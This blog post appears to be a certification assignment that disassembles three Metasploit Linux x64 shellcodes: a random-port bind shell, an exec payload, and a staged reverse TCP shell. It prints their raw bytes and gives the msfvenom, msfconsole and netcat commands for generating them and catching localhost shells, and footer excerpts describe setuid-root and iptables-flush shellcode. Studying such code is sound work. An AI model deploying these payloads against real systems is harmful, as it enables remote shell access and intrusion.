Skip to main content

Assignment 5

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE64-1434

Target Operating System: 64 bit Linux (x86_64 GNU/Linux)

Assignment 5:

Take any 3 shellcodes from msfpayload (msfvenom), the 64 bit one for Linux, and then use GDB to disassemble it and dissect its functionality. Document the analysis.

The three shellcodes that I have decided to analyze are:
  1. linux/x64/shell_bind_tcp_random_port
  2. linux/x64/exec
  3. linux/x64/shell/reverse_tcp

 The First Shellcode

I have created my own version of this which I have blogged about here:

The first shellcode that I will analyze is: linux/x64/shell_bind_tcp_random_port

Output the shellcode in a compatible format for the C programming language:
msfvenom -p linux/x64/shell_bind_tcp_random_port -f c

"\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02\x5f\xb0\x29\x0f\x05"
"\x52\x5e\x50\x5f\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48"
"\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f\x62"
"\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05";

Create a shellcode.c file to use the shellcode in:

Edit the shellcode.c file and add the shellcode output from msfvenom:

Compile the shellcode.c file:
Use gdb to debug the shellcode. Disassemble the code for analysis.
gdb -q shellcode
break *&code
run
set disassembly-flavor intel
disassemble

There are basically 5 system calls in this code. I will split them out into different sections for analysis.

Section 1
This first section is the Create Socket section. The hex value 0x29 corresponds to the decimal value 41. I can find the system call values in this file on my system: "/usr/include/x86_64-linux-gnu/asm/unistd_64.h"
man socket
int socket(int domain, int type, int protocol);
This section is pretty basic, see my blog post for more information about Socket programming with assembly language here: http://a41l4.blogspot.ca/2017/02/assignment-1b.html
There is a way to save a couple of bytes when coding this section. I will demonstrate in my own version of this here: http://a41l4.blogspot.ca/2017/02/shellrandomlisten1434.html

Section 2
This section is the Listen section. 0x32 hex corresponds to 50 decimal. 
man listen
int listen(int sockfd, int backlog);

I have some concerns about using mov al, 0x32 here. The author is assuming that the size of the value in the socket descriptor returned from the create socket call fits in a byte (0-255). This only makes sense if you know you are running the code standalone or on a process that is not a heavy user of open files or open sockets.

Section 3

This section is the Accept section. 0x2b corresponds to 43 decimal.
man 2 accept
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

RDI is still set to the sockfd. RSI and RDX are still zero. "When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL." from the man page. The return value of the listen system call is 0 for a successful call and so RAX is zero. This makes the mov al, 0x2b safe.
Stepping through this call blocks now until a connection is made.

Find which port our service bound to:
nmap -sS -p- 127.0.0.1
From the output of nmap I saw several ports that could be our listener. I tried connecting using netcat to several ports until it was evident that the call was not blocking any longer in the GDB interface.
nc 127.0.0.1 45115


Section 4
This section is the Dup2 section. 0x21 corresponds to decimal 33.
man dup2
int dup2(int oldfd, int newfd);

On lines +27 and +28 the code is moving a value into RSI. Normally I would move the value 3 into RSI for this loop so that the Dup2 call would be mapping the values 2, 1 and then 0 to point to our new socket. If we ran the code as a standalone app (which we basically did) the value of RDI is 3, the first sockfd available after the standard 0,1,2 were already automatically mapped by the system for every new process. My guess is that if this code was pushed into a running process which had a number of open sockets already, the value of RDI would start much higher than 3 for this loop. How this would impact anything is something to be experienced I guess.

The xchg rdi,rax is moving the new socket descriptor into RDI for this loop of Dup2 system calls. The lines +31, +33, +35 and +37 are the loop of Dup2 system calls which are mapping the 2, 1, 0 file descriptors to the socket descriptor for our client connection. This is basically mapping the standard error, standard out, and standard read to our socket enabling the client on the other side of our socket to interact with the /bin/sh shell that we will be starting next. On line +35 the author is taking a chance that the size of the value for the socket descriptor is not larger than a byte (0 to 255).


Section 5
This last part is the Execve system call which is very similar to what I documented in my Blog post here: http://a41l4.blogspot.ca/2017/01/execvestack1434.html
So the main difference of note here is that at this point in this code RAX, RSI, and RDX are all set to 0 already as we enter this section. The rest is almost exactly the same as my ExecveStack1434 code.

Testing


Analysis
So I have seen basically how the shellcode works, I have tested it and it does function. I have noted a few concerns with assumptions that were made concerning the socket descriptor value. You can see how I have improved this shellode here: http://a41l4.blogspot.ca/2017/02/shellrandomlisten1434.html


The Second Shellcode

The second shellcode that I will analyze is: linux/x64/exec

Output the shellcode in a compatible format for the C programming language:
msfvenom -p linux/x64/exec CMD='ps' -f c

"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x03\x00"
"\x00\x00\x70\x73\x00\x56\x57\x48\x89\xe6\x0f\x05";

Create a shellcode.c file to use the shellcode in:

Edit the shellcode.c file and add the shellcode output from msfvenom:

Compile the shellcode.c file:

Use gdb to debug the shellcode. Disassemble the code for analysis.
gdb -q shellcode
break *&code
run
set disassembly-flavor intel
disassemble 


0x3b corresponds to 59 decimal. I can find the system call values in this file on my system: "/usr/include/x86_64-linux-gnu/asm/unistd_64.h"

The code from +0 to +14 is basically priming RAX with the execve system call number, clearing RDX, loading the string /bin/sh onto the stack. Note that because the string /bin/sh is not a full 8 bytes, there is a trailing null in this string which satisfies the null terminator requirement but introduces a null in the bytecode.

Line 15 is moving the pointer to the string which is on the stack into RDI. We could have saved a byte here by pushing RSP and popping it into RDI.

This last push onto the stack primed it with the string "-c". This push, because what was pushed was less that 8 bytes automatically is zero extended to 8 bytes resulting in null termination of the string. In the bytecode there will also be nulls as a result of this instruction.

The call at line +27 appears to jump over a data section to continue execution at line +35.
Yup, the 3 bytes that we have jumped over contain the string ps with a trailing null byte. The purpose of the call instruction, besides jumping over the "ps" string was to push the address of this string onto the stack.
Line +35 pushes RSI wich points to the "-c" string.
Line +36 pushes RDI which points to the "/bin/sh" string.
Line +37 moves a pointer to this new string sequence into RSI.
Line +40 makes the execve system call.

A review of the execve system call:
man execve
int execve(const char *filename, char *const argv[], char *const envp[]);

We see that this shellcode managed to get RDI pointed at the /bin/sh file name, RDI being the register where the first parameter is required to be. Also RSI points to an array of pointers to strings which satisfies the second parameter for execve. The argv[] array is null terminated by the push rdx on line +26. There is no environment array to push so RDX is 0 (NULL).

Testing

Analysis
To be useful as shellcode for a buffer overflow this shellode would need to be encoded to remove the nulls. But it does do what was expected.



The Third Shellcode

The third shellcode that I will analyze is: linux/x64/shell/reverse_tcp


Output the shellcode in a compatible format for the C programming language:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c
  
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x56\x50\x6a\x29\x58\x99\x6a"
"\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48\xb9\x02\x00\x11\x5c"
"\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f"
"\x05\x59\x5e\x5a\x0f\x05\xff\xe6";

Create a shellcode.c file to use the shellcode in:

Edit the shellcode.c file and add the shellcode output from msfvenom:

 Compile the shellcode.c file:



Use gdb to debug the shellcode. Disassemble the code for analysis.
gdb -q shellcode
break *&code
run
set disassembly-flavor intel
disassemble 
 
  

The strategy that I will take with the analysis of this shellcode is to break it up into sections that are roughly related to each syscall.

Section 1

The first section is from +0 to +21. The value 9 is getting moved into RAX.
I can find the system call values in this file on my system: "/usr/include/x86_64-linux-gnu/asm/unistd_64.h"

man mmap
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

Registers used for a system call:
RAX - System Call Number
RDI  - First Argument
RSI  - Second Argument
RDX - Third Argument
R10 - Fourth Argument
R8   - Fifth Argument
R9   - Sixth Argument

Six arguments to the mmap system call so the registers RDI to R9 are used.

Stepping through to the system call lets see what the registers end up being set to.



"If addr is NULL, then the kernel chooses the address at which to create the mapping" man page.

"The contents of a file mapping (as opposed to an anonymous mapping; see MAP_ANONYMOUS below), are initialized using length  bytes starting  at offset offset in the file (or other object) referred to by the file descriptor fd." man page.

Okay so we are mapping 4096 bytes starting at offset 0 in the file referred to by fd (which is 1 for the standard out file descriptor).

I found the flags values in this file: /usr/include/asm-generic/mman-common.h

It appears that RDX is a bitwise combination of PROT_READ, PROT_WRITE, PROT_EXEC.
There is a good chance that the DH value is ignored and so the combination of 1, 2 and 4 adds up to 7 and that is all that is significant in RDX.

The value in R10 appears to be a bitwise combination of MAP_PRIVATE and MAP_ANONYMOUS.

The result of the system call puts an address where the 4096 bytes were allocated into RAX.
rax            0x7ffff7ff4000   140737354088448

Section 2

This system call appears to have the value 0x29 which is 41 decimal.
So lines +23 and +24 appear to simply be saving the values that are in RSI and RAX on the stack for later use.

man socket
int socket(int domain, int type, int protocol);

Lines +25 to +35 look like the typical Socket system call.
See my blog post here for more details about socket programming: http://a41l4.blogspot.ca/2017/02/assignment-1b.html

Section 3

This is the Connect system call, 0x2a is 42 decimal.

man connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Line +37 is getting the socket descriptor returned by the Socket system call into RDI where it will be required for the Connect system call.
Lin +39 and +49 are pushing the sockaddr structure onto the stack. The IP address 127.0.0.1 with port 4444 along with the value for AF_INET which is 2 are encoded into the sockaddr structure.
RSI is set to point to where the sockaddr structure is on the stack.
The number of bytes 0x10 (16 decimal) is put into RDX.

Before stepping through this system call you will want to have a client set up to receive the connection:
nc -l -p 4444 127.0.0.1

Section 4
The result of the Connect system call (if successful) is 0. That makes this the Read system call.

man read
ssize_t read(int fd, void *buf, size_t count);

RDI is already set, RSI is set to our previously allocated 4096 byte memory address, RDX, is set to the number 4096.

Okay so this is the point where our client (possibly netcat) would load a payload up to a size of 4096 bytes.

Section 5

The last instruction jumps to the memory address where we have just loaded our payload, and starts executing it.

Testing
You need to set up a listener that can handle using a stager.
  1. In one terminal run msfconsole 
  2. use multi/handler
  3. set PAYLOAD linux/x64/shell/reverse_tcp
  4. set LHOST 127.0.0.1
  5. set LPORT 4444
  6. exploit
Then run the shellcode in another terminal

Alternatively

If you wish to test the linux/x64/shell/reverse_tcp stub without using msfconsole.

Stub:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4443 -felf > stub
chmod 700 stub

Payload:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > payload

Open 2 terminals that we will run netcat in and run the following commands, one in each terminal.

cat payload | nc -l -p 4443 127.0.0.1
nc -l -p 4444 127.0.0.1

Then in a 3rd terminal run our stub.
./stub


With this approach, the machine that is providing the payload would not even need to be the same machine as is ultimately connected back to by the payload.

Analysis

The linux/x64/shell/reverse_tcp shellcode does pretty much what I would have expected. It allocates a section of memory to receive a payload, connects back to a client and reads a payload. Once the payload is downloaded it begins executing the payload. This shellcode is not coded to be as small as it could be and there are nulls in the bytecode. This shellcode would also need to be encoded to remove the nulls if you wished to use it to exploit a buffer overflow vulnerability.


If you wish to learn more about assembly language, I highly recommend the "SecurityTube Linux Assembly Expert course and certification."

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Comments

Popular posts from this blog

GIAC GXPN Review – SANS SEC660 (Advanced Penetration Testing, Exploit Writing, and Ethical Hacking)   Intro  SANS is a well respected and premier cyber security training company that employs industry experts as instructors. GIAC is a company that produces testing to validate the skills of security professionals. GIAC exams validate the learning outcomes of the SANS courses. Prerequisites Before attempting this course you should be familiar with penetration testing as this is an advanced course. I would say that you should also be familiar with assembly language and shellcoding. It would be best if you have studied basic stack overflow exploits prior to this course. You will need a basic understanding of programming in C or C++ (preferably both). Scripting using Python would be a useful prerequisite. If you could learn a bit of Ruby scripting it would help for the Metasploit module creation. Be familiar with various routing and networking protocols. Course Coverage This course covers ma

PolySetuidExecve1434

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification." http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE64-1434 Target Operating System : 64 bit Linux (x86_64 GNU/Linux) This blog post is part of Assignment 6: http://a41l4.blogspot.ca/2017/03/assignment-6.html The Original Version: http://shell-storm.org/shellcode/files/shellcode-77.php My Version: GitHub Link : https://github.com/rtaylor777/nasm/blob/master/PolySetuidExecve1434.nasm Published : https://www.exploit-db.com/exploits/41498/ Original Shellcode bytes = 49 My version: Number of bytes = 31 Number of nulls = 0 PolySetuidExecve1434.nasm Intro This shellcode when executed will first setuid(0) and then execute /bin/sh and provide you with a shell. The purpose of calling setuid(0) is, suppose that you have managed to inject this shellcode into an executable that is Set-UID root. I

PolyFlushIPTables1434

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification." http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE64-1434 Target Operating System : 64 bit Linux (x86_64 GNU/Linux) This blog post is part of Assignment 6: http://a41l4.blogspot.ca/2017/03/assignment-6.html The Original Version: http://shell-storm.org/shellcode/files/shellcode-683.php Original size: 50 bytes (don't believe what he says :) My Version: GitHub Link : https://github.com/rtaylor777/nasm/blob/master/PolyFlushIPTables1434.nasm Published : https://www.exploit-db.com/exploits/41503/ My version: Number of bytes = 47 Number of nulls = 0 PolyFlushIPTables1434.nasm  Intro This shellcode basically just executes /sbin/iptables -F without any other parameters. man iptables "-F, --flush [chain]               Flush  the  selected  chain (all the chains in the table if none i